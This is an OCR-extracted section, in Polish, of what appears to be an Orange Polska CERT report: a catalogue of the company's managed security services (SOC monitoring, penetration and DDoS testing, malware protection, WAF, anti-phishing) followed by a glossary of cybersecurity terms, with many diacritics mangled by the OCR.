Na czym polega: Gotowy proces monitorowania incydentow bezpieczenstwa przy wykorzystaniu kompetencii i zespotu
Security Operations Center (SOC) Orange Polska — operatoréw, analitykdw i ekspertéw monitorujgcego
systemy i dane klienta np. poprzez SIEM.

Jak dziata: Proces polegajacy na integraciji danych z systemow klienta z zespotem szybkiego reagowania na
zidentyfikowane incydenty.

Dla kogo: Dla wszystkich odpowiedzialnych za utrzymanie infrastruktury i danych oraz os6b zobowiazanych
ustawa do szybkiego reagowania na incydent (np. RODO, KNF, KSC).
Korzysci: B Dostepne procedury obstugi incydentéw
B Doswiadczony zespét specjalistow
B Brak koniecznosci budowania od podstaw zespotu specjalistow i kompetencji po stronie klienta
B Natychmiastowe informowanie osdb odpowiedzialnych za infrastrukture i dane chronione o
incydentach

Feed as a Service

Co to jest: Dostarczanie informacji o zaobserwowanej w sieci Orange ztosliwej aktywnosci. Uzyskane dane moga
postuzy¢ do zasilenia systemow zabezpieczen utrzymywanych przez klienta i w efekcie pozwoli¢ na
proaktywne zapobiezenie atakowi.

Jak dziata: Informacje dostarczane sg w postaci plikdw o zdefiniowanych formatach. Dostepne do pobrania
z portalu klienckiego pliki, sg aktualizowane co 24 godziny i dotyczg aktywnosci zaobserwowanej
w ciggu ostatniej doby.

Korzysci: B Informacje o zagrozeniach zidentyfikowanych w sieci Orange Polska, stuzace do zasilenia
dodatkowymi danymi systemoéw zabezpieczen klienta
H Ochrona i podniesienie poziomu bezpieczenstwa systeméw oraz uzytkownikéw ustug
H Aktywne ograniczenie mozliwosci infekcji, aktywaciji i eksfiltracji danych przez ztosliwe
oprogramowanie

Testy podatnosci

Co to jest: Wyszukiwanie i klasyfikowanie stabosci systemu klienta, ktére moga zosta¢ wykorzystane do przejecia
nad nim kontroli, kradziezy wrazliwych danych i innych dziatan prowadzacych do strat finansowych
i wizerunkowych.

Na czym polega: Probie uzyskania nieautoryzowanego dostepu do wskazanego systemu teleinformatycznego klienta,
przy wykorzystaniu metody White box/ black box.
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Korzysci: B Ocena i szybka identyfikacja luk w zabezpieczeniach udostepnianego systemu oraz rekomendacje
eksperckie w celu poprawy bezpieczenstwa systemu.
B Obiektywna i niezalezna ocena rzeczywistego poziomu bezpieczerstwa systeméw.

Testy penetracyjne

Co to jest: Praktyczna ocena biezacego stanu bezpieczenstwa, a w szczegdlnosci obecnosci znanych
podatnosci i odpornosci na proby przetamania zabezpieczen.

Na czym polega: Prébie uzyskania nieautoryzowanego dostepu do wskazanego systemu
teleinformatycznego klienta, przy wykorzystaniu metody white box/ black box.

Korzysci: B Ocenai szybka identyfikacja luk w zabezpieczeniach udostepnianego systemu oraz rekomendacje
eksperckie w celu poprawy bezpieczenstwa infrastruktury klienta
m Obiektywna i niezalezna ocena rzeczywistego poziomu bezpieczenstwa systemédw

Testy wydajnosciowe

Co to jest: Kontrolowany atak typu DoS/ DDoS na wskazane elementy systemu teleinformatycznego klienta (tacze,
serwery, serwisy, punkt styku z siecig internet) w celu oceny odpornosci na proby atakow.

Na czym polega: Analiza przeprowadzana z perspektywy potencjalnego przestepcy przy wykorzystaniu kompetencii
zespotu i infrastruktury Spirent Communications, sieci transportowej Orange Polska.

Korzysci: B Szybka ocena zabezpieczen systemu przed atakami typu DDoS
B Rekomendacje eksperckie w celu poprawy bezpieczenstwa systemu
B Obiektywna i niezalezna ocena rzeczywistego poziomu bezpieczenstwa systemow

Ochrona przed ztosliwym oprogramowaniem

(Malware Protection InLine)

Co to jest: Ochrona zasobéw sieciowych klienta poprzez zapobieganie i wykrywanie infekcji ztosliwym
oprogramowaniem (ang. malware) probujgcym przenikna¢ z internetu.

Na czym polega: Sieciowy ruch klienta jest monitorowany i analizowany pod katem obecnosci ztosliwego
kodu w przesytanych plikach.

Jak dziata: Malware jest wykrywany z wykorzystaniem technik detekcji powigzanych ze szczegétowa analiza
ataku. Podejrzane przeptywy sieciowe sg odtwarzane w maszynach wirtualnych, przeprowadzajacych
zaawansowane analizy zachowania malware w $rodowisku symulujgcym realne stacje robocze
(Sandbox). Proces opiera sie na analizie zachowania kodu, co pozwala zidentyfikowac¢ ataki APT
i zero-day. Ruch wychodzacy z infrastruktury klienta do internetu analizowany jest pod katem
potaczen ztosliwego oprogramowania z tzw. serwerami C&C.

Korzysci: B Szybka identyfikacja i blokada aktywnosci ztosliwego oprogramowania
B Ochrona przed cyberzagrozeniami typu APT i zero-day
B Brak koniecznosci inwestowania w urzadzenia zabezpieczajace ustugi
B Ochrona przed niefrasobliwos$cig pracownikéw klienta
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Analiza ztosliwego oprogramowania

Co to jest: Analiza ztosliwego oprogramowania dostarczonego w ramach ustugi przez klienta do CERT
Orange Polska.

Dla kogo: Dla klientéw, ktérzy chca przeanalizowaé oprogramowanie pod katem ewentualnej ztosliwosci oraz
poznac jej wptyw na infrastrukture.

Korzysci: B Dostepnos¢ zespotu ekspertdw i laboratorium CERT Orange Polska
B Raport o zidentyfikowanych ztosliwosciach oraz ich wptywie na infrastrukture klienta
B Rekomendacje CERT Orange Polska w celu minimalizacji zagrozen

Co to jest: Zapobieganie skutkom atakow typu DDoS ukierunkowanych na infrastrukture DNS klienta.

Jak to dziata: Orange Polska uzywa technologii ,anycast”, w ktdrej pracujg $wiatowe sieci serwujgce
np. domene.com czy .pl. Secure DNS sktada sie z ponad 40 weztéw, znajdujgcych sie zaréwno
w sieci Orange, jak i w innych sieciach w Polsce i na $wiecie. Odpowiedzi z najblizszego sieciowo
wezta bedg przychodzity maksymalnie szybko, po najkrotszej mozliwej trasie, bez opdznien.

B Odsuniecie atakéw na serwery DNS od wtasnej infrastruktury

B Zwiekszenie dostepnosci ustug DNS

® tatwa i szybka konfiguracja ustugi i obstuga zmian

B Mozliwos¢ petnego outsourcingu ustugi DNS klienta z wykorzystaniem infrastruktury SecureDNS

Stop Phishing

Co to jest: Blokowanie ruchu sieciowego do strony stworzonej przez przestepce

Na czym polega: Minimalizacja skutkow atakow phishingowych, w szczegdlnosci wystepowania stron
phishingowych, ukierunkowanych na uzytkownikéw serwiséw internetowych klienta.
Jak to dziata: Aktywna blokada ruchu sieciowego pomiedzy uzytkownikami sieci Orange Polska
a serwerami lub domenami internetowymi zidentyfikowanymi jako element kampanii
phishingowej. Przy wykorzystaniu zespotéw SOC i CERT Orange Polska gwarantujemy
w szybkim czasie blokade kampanii oraz pilne informowanie innych zespotéw szybkiego
reagowania o zidentyfikowanym incydecie.

Korzysci: m Minimalizacja skali ataku poprzez ograniczenie liczby potencjalnych ofiar
m Zmniejszenie kosztow obstugi incydentdw bezpieczenstwa po stronie klienta
m Znaczne ograniczenie ryzyka wizerunkowego zwigzanego z marka klienta

Web Application Protection (platforma WAF aa$S)

Co to jest WAF?: Platforma Web Application Firewall jest zlokalizowana w sieci szkieletowej Orange Polska.

Kiedy stosowac: Niedostepno$é ustug zwigzanych z aplikacjg klienta.

84

Na czym polega: Ochrona zasobdw klienta przed atakami aplikacyjnymi. Caty ruch http/https
kierowany jest z internetu do chronionych zasobdw zostaje przekierowany przez platforme
ustugowa WAF i poddany analizie zgodnie ze zdefiniowana polityka bezpieczenstwa.

Jak dziata: Umozliwia ochrone przed dziesiecioma najbardziej krytycznymi zagrozeniami aplikacii
webowych zdefiniowanymi w OWASP Top 10 i pozwala na podniesienie bezpieczenstwa
aplikacji webowych bez koniecznos$ci modyfikacji kodu.

B Zapewnienie bezpieczenstwa informacji i proceséw biznesowych

m Staty monitoring ruchu i identyfikacja wystagpienia potencjalnych zagrozen

m Kompetencije specjalistow z Security Operations Center dostepne w trybie 24/7/365

= Natychmiastowe odparcie ataku od infrastruktury klienta

m Brak koniecznosci inwestowania w odpowiednig infrastrukture i elastyczny model rozliczania

CyberTarcza

Co to jest: Ochrona urzadzen mobilnych klienta dziatajacych w sieci Orange Polska przed ztosliwym
oprogramowaniem oraz kampaniami phishingowymi.

Na czym polega: Ruch sieciowy jest monitorowany i analizowany pod katem cyberbezpieczenstwa. Ustuga
blokuje potaczenie z zainfekowana strong oraz z kategoriami stron zdefiniowanymi przez klienta.

Funkcjonalnosci: m antymalware, antyphishing
B mozliwos$é zdefiniowania blokad w réznych godzinach dla pracownikéw i rodziny
CyberTarcza zawiera dodatkowe Zrddta danych o zagrozeniach opracowane
pod katem klienta oraz umozliwia uzytkownikowi zarzagdzanie filtrami, ponad 30 kategorii.

Dla kogo: Dla wszystkich korzystajgcych z sieci mobilnej Orange Polska - konsument,
przedsiebiorca, prepaid.

B Mozliwos¢ filtrowania

m Ochrona przed cyberzagrozeniami typu APT i zero-day

m Brak koniecznosci inwestowania w urzadzenia zabezpieczajgce ustugi

m  Ochrona przed niefrasobliwoscig pracownikéw klienta

CyberWatch

Co to jest: Ustuga platformowa polegajaca na informowaniu klientéw o wykrytych prébach komunikacji
Z zagrozeniami z jego sieci firmowej (stacjonarnej oraz mobilnej).

Funkcjonalnosci: ¢ Codzienny raport o wystgpieniu zagrozen wysytany pod wskazany adres e-mail;
e Blokowanie komunikacji urzadzen Klienta ze stronami ktére stanowig zagrozenie,
e Kompleksowa ochrona urzadzen dziatajgcych w sieci Orange.

e identyfikacja zainfekowanych urzadzen korzystajgcych z sieci Orange,
e Dblokowanie podejrzanego ruchu sieciowego z urzadzen stacjonarnych i mobilnych,
e informacja o zagrozeniach,

e zapobieganie wyciekowi firmowych danych,

e ustuga nie wymaga instalacji po stronie klienta.
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Glosariusz

AaS (ang. as a service) — ,jako ustuga”; skrét odnosi
sie do ustug, udostepnianych klientowi za posrednictwem
internetu.

Abuse - naduzycie; wykorzystanie niektérych mozliwosci
sieci internet niezgodnie z przeznaczeniem lub prawem.

W internecie do naduzy¢ zalicza sie m.in. ataki sieciowe,
rozsytanie spamu, wiruséw, nielegalnych tresci, phishing, itp.
Zespot typu Abuse to jednostka odpowiedzialna za przyj-
mowanie i rozpatrywanie zgtoszen dotyczacych tego typu
naduzy¢.

ACK (ang. acknowledge) - jedna z flag protokotu TCP, ktérej
ustawienie oznacza potwierdzenie potgczenia.

Adres IP (ang. IP address) — adres internetowy; unikalny
numer dla kazdego komputera w internecie, pozwalajgcy
na jego jednoznaczng identyfikacje w sieci.

Adres DNS - tekstowy adres internetowy, wykorzystywany
do nazywania urzadzenw internecie. Sktada sie z nazw domen
rozdzielonych kropkami. Wygodny dla uzytkownika i przy
uzyciu systemu DNS, ttumaczony na zrozumiaty dla urza-
dzenw sieci adres IP.

Backdoor -,tylne drzwi”; luka w zabezpieczeniach systemu
komputerowego, utworzona umyslinie, w celu podzniejszego
dostepu do systemu. Intruz moze utworzy¢ backdoora,
wiamujgc sie poprzez inng luke w oprogramowaniu lub
wykorzystujgc uruchomienie trojana przez uzytkownika.

Blackholing (ang. black hole - czarna dziura) - adresy IP
w sieci internet, w ktérych ruch sieciowy jest neutralizowany,
bez informowania adresata lub nadawcy.

Bot (od ang. robot) - zainfekowany i przejety komputer,
wykonujacy polecenia atakujgcego.

Botnet - sie¢ potgczonych botdw, zdalnie kontrolowana
przez atakujgcego. Botnety wykorzystywane sg najczesciej
do zmasowanych atakéw typu DDoS lub rozsytania spamu.

C&C (ang. Command and Control) servers — infrastruktura
serwerdw zarzgdzana przez cyberprzestepcow, wykorzysty-
wana do zdalnego wysytania polecen i kontroli botnetow.

CERT/CSIRT (ang. Computer Emergency Response

Team, Computer Security Incident Response Team) — zespét
reagowania na zagrozenia komputerowe. Gtéwnym zadaniem
zespotu jest szybka reakcja na zgtaszane przypadki zagrozeni
naruszen bezpieczenstwa sieciowego. Prawo do uzywania
nazwy CERT majg wytgcznie zespoty, spetniajgce bardzo
wysokie wymagania.
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CISSP (ang. Certified Information Systems Security Profes-
sional) — uznawany na catym $wiecie certyfikat potwierdzajacy
wiedze, kwalifikacje i kompetencje w dziedzinie bezpie-
czenstwa sieciowego.

DDoS (ang. Distributed Denial of Service) — rozproszony atak
odmowy ustugi; atak sieciowy, polegajacy na wystaniu do
atakowanego systemu takiej ilosci danych, ktorych system
ten nie bedzie w stanie obstuzy¢. Celem ataku jest blokada
dostepnosci zasobdw sieciowych. W przypadku DDoS do
ataku wykorzystywanych jest wiele komputerdw i potgczen
sieciowych, co odrdznia go od ataku DoS, ktéry korzysta

z jednego komputera i jednego potaczenia internetowego.

DNS (ang. Domain Name System) - system nazw dome-
nowych; protokét przypisywania stownych nazw cyfrowym
adresom IP. System ten zostat stworzony dla wygody
uzytkownikéw internetu. Sie¢ internet dziata w oparciu

o adresy IP, a nie nazwy domen, dlatego wymaga systemu
DNS do odwzorowywania nazw domen w adresy IP.

DNS sinkhole - serwer DNS, kitory przekazuje fatszywe
informacje, uniemozliwiajgc potaczenie z docelowg strong
internetowa. Wykorzystywany do detekcji oraz blokowania
ztodliwego ruchu w sieci.

Domena internetowa (ang. domain name) - nazwa
domeny; element uzywany w adresie URL do identyfikacji
adresOw stron internetowych. Przyktadami domen

sg .gov, .org, com.pl.

Exploit - program, ktéry umozliwia przejecie kontroli nad
systemem komputerowym, wykorzystujac rézne luki w pro-
gramach i systemach operacyjnych.

Exploit 0-day- exploit, ktéry pojawia sie natychmiast po
informacji o podatnosci, dla ktérej nie zostata jeszcze przygo-
towana poprawka.

Exploit kit - rodzaj oprogramowania, uruchamianego
na serwerach sieciowych i stuzgcego do wykrywania luk
w zabezpieczeniach.

Firewall - zapora sieciowa; oprogramowanie (urzadzenie),
ktérego podstawowa funkcjg jest monitorowanie i filtrowanie
ruchu pomiedzy komputerem (lub siecig lokalng) a interne-
tem. Firewall potrafi zapobiec wielu atakom, umozliwiajac
wczesne rozpoznanie prob wiamania i blokujac
niepozadany ruch.

Honeypot -, garnek miodu”; putapka majgca na celu wykry-
cie préby nieautoryzowanego dostepu do systemu
komputerowego lub pozyskania danych. Najczesciej sktada
sie z wyizolowanego komputera wraz z wyodrebnionym
obszarem sieci lokalnej, ktore razem udajg prawdziwa siec,
ale sg odizolowane i odpowiednio zabezpieczone. System

taki ma sprawia¢ wrazenie jakby zawierat dane lub zasoby
atrakcyjne z punktu widzenia potencjalnego intruza.

HTTP (ang. Hypertext Transfer Protocol) - podstawowy
protokot wykorzystywany przez sie¢ WWW (ang.World

Wide Web). Okresla zestaw regut przesytania plikow
tekstowych i multimedialnych, podczas zadan udostepnienia
strony WWW. Po wpisaniu adresu URL w przegladarce,
wysytane jest polecenia HTTP do serwera WWW w celu
pobrania i przekazania zadanej strony WWW.

HTTPS (ang. Hypertext Transfer Protocol Secure) — protokdt
bezpiecznej komunikacji, ktéry jest rozszerzeniem protokotu
HTTP i umozliwia bezpieczng wymiane informacji dziegki
szyfrowaniu danych z wykorzystaniem protokotu SSL.

Przy korzystaniu z bezpiecznego potaczenia HTTPS adres
internetowy zaczyna sie od ,https://”.

ICMP (ang. Internet Control Message Protocol) — protokdt
komunikacyjny, stuzacy do przekazywania komunikatéw

o nieprawidtowosciach w funkcjonowaniu sieci IP oraz in-
nych informacji kontrolnych. Jednym z programéw, ktére
wykorzystujg ten protokét jest ping, ktéry pozwala sprawdzi¢
czy istnieje potaczenie z innym komputerem w sieci.

IDS (ang. Intrusion Detection System) — system wykrywania
wtaman. System IDS monitoruje ruch sieciowy, wykrywajac
i powiadamiajac o zidentyfikowanych zagrozeniach.

Incydent - zdarzenie zagrazajace lub naruszajace
bezpieczenstwo w sieci internet. Do incydentéw zalicza sie
m.in.: wiamania lub préby wtaman do systemoéw kompute-
rowych, ataki typu DDoS, spam, rozsytanie ztosliwego
oprogramowania i inne przypadki naruszania zasad, ktore
obowigzuja w sieci internet.

10T (ang. Internet of Things) - Internet Rzeczy; koncepcja
systemu gromadzenia, przetwarzania i wymiany danych
pomiedzy ,inteligentnymi” urzadzeniami, za posrednictwem
sieci komputerowej. Do loT zalicza sie m.in.: urzadzenia
gospodarstwa domowego, artykuty oswietleniowe, budynki,
pojazdy, itp.

IP (ang. Internet Protocol) — jeden z najwazniejszych proto-
kotéw komunikacyjnych, uzywany do transmisji danych

w sieci internet. Gtéwnym zadaniem tego protokotu jest
wybor trasy przesytania danych.

IPS (ang. Intrusion Prevention System) — system wykrywania
zagrozen i zapobiegania atakom w czasie rzeczywistym.

Keylogger — program, ktéry dziata w ukryciu i rejestruje
informacje wprowadzane za pomocg klawiatury komputera.
Stuzy do $ledzenia dziatan i przechwytywania poufnych
danych uzytkownika (np. haset, numeréw kart kredytowych).

Luka - patrz podatnos¢.

Malware (ang. malicious sofware) — ztosliwe oprogramo-
wanie, ktérego celem jest szkodliwe dziatanie w stosunku

do uzytkownika komputera. Zalicza sie do niego m.in. wirusy
komputerowe, robaki internetowe, konie trojarskie, programy
typu spyware.

MSISDN (ang. Mobile Station International Subscriber
Directory Number) — numer telefonu; numer abonenta sieci
komorkowej, przechowywany na karcie SIM oraz w rejestrze
abonentow.

OWASP (ang. Open Web Application Security Project) —
globalne stowarzyszenie, ktére gtéwng ideg jest poprawa
bezpieczenstwa aplikacji webowych.

Phishing - rodzaj oszustwa internetowego, ktérego celem
jest kradziez tozsamosci uzytkownika, czyli takich poufnych
danych (np. haset, danych osobowych), ktére pozwolg cyber-
przestepcy podszy¢ sie pod ofiare. Wytudzenie informaciji
nastepuje w wyniku otwarcia przez nie$wiadomego uzytko-
whika ztosliwego zatgcznika lub klikniecia w fatszywy link.

Podatnos$¢ (ang. vulnerability) - btad, luka; cecha sprzetu lub
oprogramowania komputerowego, stanowigca zagrozenie dla
bezpieczenstwa. Moze zosta¢ wykorzystana przez atakujace-
go, jezeli nie zostanie zainstalowana odpowiednia poprawka.

Poprawka (ang. patch) - tata; program naprawiajgcy btedy
(luki) w oprogramowaniu komputerowym.

Ransomware (ang. ransom - okup) — rodzaj ztosliwego
oprogramowania, ktory po wprowadzeniu do systemu
uzytkownika szyfruje pliki na dysku. Odszyfrowanie wymaga
zaptacenia cyberprzestepcom okupu.

Robak (ang. worm) internetowy — samoreplikujacy sie ztosli-
wy program komputerowy. Rozprzestrzenia sie we wszystkich
sieciach, do ktérych jest podtgczony zainfekowany komputer,
wykorzystujac luki w systemie operacyjnym lub naiwnosé
uzytkownika. Robak potrafi m.in. niszczy¢ pliki, wysytaé
spam albo petni funkcje backdoora lub konia trojanskiego.

Rootkit - program, ktérego zadaniem jest ukrycie
obecnosci i aktywnosci ztosliwego oprogramowania przed
narzedziami zabezpieczajgcymi system. Rootkit usuwa ukry-
wane programy z listy procesow i jest wykorzystywany przez
atakujacego w celu uzyskania nieautoryzowanego dostepu
do komputera.

RST (ang. reset) - jedna z flag protokotu TCP, oznaczajgca
zerwanie pofagczenia (wymagane ponowne uzgodnienie
potaczenia).

SIEM (ang. Security Information and Event Management) —
system pozwalajacy na gromadzenie, filtrowanie i korelacje
zdarzen, pochodzgcych z wielu réznych zrédeti zamieniajgcy
je na dane wartosciowe z punktu widzenia bezpieczenstwa.
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Sinkholing (ang. hole - dziura) - polega na przekierowaniu
niepozadanego ruchu sieciowego, generowanego przez
ztosliwe oprogramowanie lub botnety. Przekierowanie moze
odbywac sie pod takie adresy IP, gdzie zawartos$¢ tego ruchu
moze by¢ przeanalizowana, jak réwniez pod nieistniejace
adresy IP.

Skanowanie portdw (ang. port scanning) — dziatanie
polegajace na wysytaniu danych (pakietéw TCP lub UDP)
do okreslonego systemu komputerowego w sieci. Pozwala
uzyskaé informacje o dziataniu okreslonych ustug, otwar-
tych na okreslonych portach. Skanowanie przeprowadzane
jest zwykle w celu sprawdzenia zabezpieczen lub poprze-
dza wtamanie.

SLA (ang. Service Level Agreement) — umowa o gwarantowa-
nym poziomie $wiadczenia ustug, ustalonego miedzy klientem
a ustugodawca.

Sniffing - dziatanie polegajace na podstuchiwaniu i anali-
zie ruchu w sieci. Sniffing moze by¢ wykorzystany do zarza-
dzania i usuwania probleméw w sieci przez administratoréw
ale takze przez cyberprzestepcoéw do podstuchu i przechw-
ytywania poufnych informacji uzytkownikdw (np. haset).

SOC (ang. Security Operations Center) — Operacyjne Cen-
trum Bezpieczenstwa, taczace zardwno funkcje techniczne i
organizacyjne, w ktérym systemy typu SIEM, systemy antywi-
rusowe, IDS/IPS, firewalle, dostarczajg informacji do central-
nego systemu zarzadzania incydentami.

Spam - niezamdwione i niechciane wiadomosci, rozsytane
masowo, zazwyczaj przy uzyciu poczty elektroniczne;.
Wiadomosci tego typu zwykle sa przesytane anonimowo

z wyludzonych lub przechwyconych adreséw, najczesciej
przy uzyciu botnetéw. Spam to najczesciej wiadomosci
reklamujgce produkty lub ustugi.

Spyware (ang. spy software) — program szpiegujacy, ktérego
zadaniem jest $ledzenie dziatan uzytkownika komputera.
Monitorowanie aktywnosci odbywa sie bez zgody i wiedzy
uzytkownika. Zbierane informacje dotyczg m. in. adreséw
odwiedzanych stron internetowych, adreséw e-mail, haset czy
numeréw kart kredytowych. Do programéw typu spyware
naleza m. in. adware, trojany i keyloggery.

SSL (ang. Secure Socket Layer) — protokdt bezpieczenstwa,
zapewniajacy poufnosé i integralno$¢ transmisji danych oraz
ich uwierzytelnianie. Obecnie najczesciej uzywana jest wersja
SSLv3 uznawana za standard bezpiecznej wymiany danych i
rozwijana pod nazwa TLS (ang. Transport Layer Security).

SYN (ang. synchronization) - jedna z flag protokotu TCP,
wystana przez klienta do serwera w w celu zainicjalizowania
potaczenia.

SYN Flood (ang. flood - zalanie) — popularny atak

sieciowy, ktérego gtéwnym celem jest zablokowanie ustug
danego serwera. Do przeprowadzenia ataku wykorzystywany
jest protokét TCP.
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TCP (ang. Transmission Control Protocol) — protokét
potaczeniowy; jeden z podstawowych protokotéw sieciowych,
stuzacy do sterowania transmisja danych w sieci internet.
Wymaga nawigzania potgczenia pomiedzy urzgdzeniami

w sieci i umozliwia uzyskanie potwierdzenia, ze dane dotarty
do adresata.

Trojan - kon trojanski; ztosliwy program, ktéry umozliwia
cyberprzestepcy zdalne przejecie petnej kontroli nad
systemem komputerowym. Instalacja konia trojafiskiego
najczesciej odbywa sie poprzez uruchomienie ztosliwych
aplikacji pochodzacych z niezaufanych stron internetowych
lub zatgcznikdéw mailowych. Poza zdalnym wykonywaniem
komend, trojan moze umozliwi¢ podstuchanie komunikaciji

i przechwycié hasta uzytkownika.

UDP (ang. User Datagram Protocol) — protokot
bezpotaczeniowy, jeden z podstawowych protokotéw
sieciowych. W przeciwienstwie do TCP, nie wymaga on
nawigzywania potgczenia, obserwowania sesji miedzy
urzadzeniami i potwierdzenia, ze dane dotarty do adresata.
Dzieki czemu wykorzystywany jest do transmisji w czasie
rzeczywistym (real-time).

URL (ang. Universal Resource Locator) — adres uzywany
do identyfikacji serweréw i ich zasobdw. Niezbedny w wielu
protokotach internetowych (np. HTTP).

VoIP - (ang. Voice Over Internet Protocol) —,telefonia
internetowa”; technika umozliwiajgca przesytanie dzwiekdw
mowy za pomoca faczy internetowych. Dane dzwiekowe
przesytane sg przy wykorzystaniu protokotu IP.

Wirus (ang. virus) — ztosliwy program lub fragment kodu
ukryty wewnatrz innego programu, ktéry replikuje sie w
systemie operacyjnym uzytkownika. W zaleznosci od
typu wirusa, posiada on rézne funkcje destrukcyjne, od
wyswietlania napiséw na monitorze, poprzez usuwanie
plikéw, a nawet formatowanie dysku.

Zdarzenie - aktywno$¢ w systemie wynikajgca z dziatan
uzytkownika, aplikaciji, ustugi itp. Zdarzenie powoduje w sys-
temie monitorujgcym bezpieczenstwo wygenerowanie sygna-
tu, ktéry powinien zosta¢ poddany analizie automatycznej lub
recznej. Zdarzenie moze przeksztatcié¢ sie w incydent.




Wiecej informacji znajdziesz na:
www.cert.orange.pl



